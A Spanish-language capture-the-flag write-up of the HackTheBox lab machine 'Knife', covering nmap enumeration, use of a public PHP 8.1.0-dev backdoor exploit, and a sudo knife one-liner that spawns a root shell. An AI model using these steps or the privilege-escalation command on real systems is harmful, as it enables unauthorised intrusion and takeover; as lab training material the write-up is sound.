Write Up – Knife

OSLINUX
Desarrollado porMrKN16H7
DificultadFácil
Liberación22 Mayo 2021
Puntos20

Enumeración

Al usar nmap utilizando nmap -p- –open -T5 -v -n 10.10.10.242 y luego con el comando nmap -sCV -p22,80 10.10.10.242 (si quieren guardar el nmap usar -oN <NOMBRE ARCHIVO>) , solo encontramos que está abierto el puerto 22 (SSH) y 80 (web).

# Nmap 7.92 scan initiated Mon Nov  1 23:48:04 2021 as: nmap -p22,80 -sCV -O -oN NMAP knife.htb
Nmap scan report for knife.htb (10.10.10.242)
Host is up (0.14s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA)
|   256 bf:8a:3f:d4:06:e9:2e:87:4e:c9:7e:ab:22:0e:c0:ee (ECDSA)
|_  256 1a:de:a1:cc:37:ce:53:bb:1b:fb:2b:0b:ad:b3:f6:84 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title:  Emergent Medical Idea
|_http-server-header: Apache/2.4.41 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 4.15 - 5.6 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.3 (95%), Linux 3.1 (95%), Linux 3.2 (95%), Linux 5.3 - 5.4 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.0 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Nov  1 23:48:22 2021 -- 1 IP address (1 host up) scanned in 17.24 seconds

Debido a esto se empieza a busca información con whatweb, en el código fuente de la página web, mientras se ejecuta la wfuzz para buscar paginas ocultas y poder acceder a ellas.

Con el código fuente de la pagina y wfuzz no encontramos nada en particular, pero WhatWeb nos dice que la pagina está escrita en 8.1.0-dev e investigando nos damos cuenta que hay un exploit (backdoor y rce) en el github de https://github.com/flast101/php-8.1.0-dev-backdoor-rce

Utilizamos este exploit y obtenermos acceso al usuario

1° Shell

Al entrar con el Exploit nos damos cuenta que tenemos una terminal muy básica y no podemos tratar la TTY por lo que primero abrimos una shell reverse y luego realizamos un tratamiento de TTY (https://gist.github.com/s4vitar/b88fefd5d9fbbdcc5f30729f7e06826e#tratamiento-de-la-tty) así podemos obtener la primera flag.

2° SHELL (root)

Ya dentro del usuario james vemos si tiene algún permiso como root con el comando sudo -l y nos damos cuenta que tiene con el comando knife y este no necesita escribir la password.

sudo -l
Matching Defaults entries for james on knife:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User james may run the following commands on knife:
    (root) NOPASSWD: /usr/bin/knife

Con esto vemos en GTFObins si hay algún script de escalamiento de privilegios y vemos que si lo hay, lo que nos permite obtener root y poder ver la 2° flag

$ knife exec -E 'exec "/bin/sh"'
# whoami
root
Etiquetas:

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *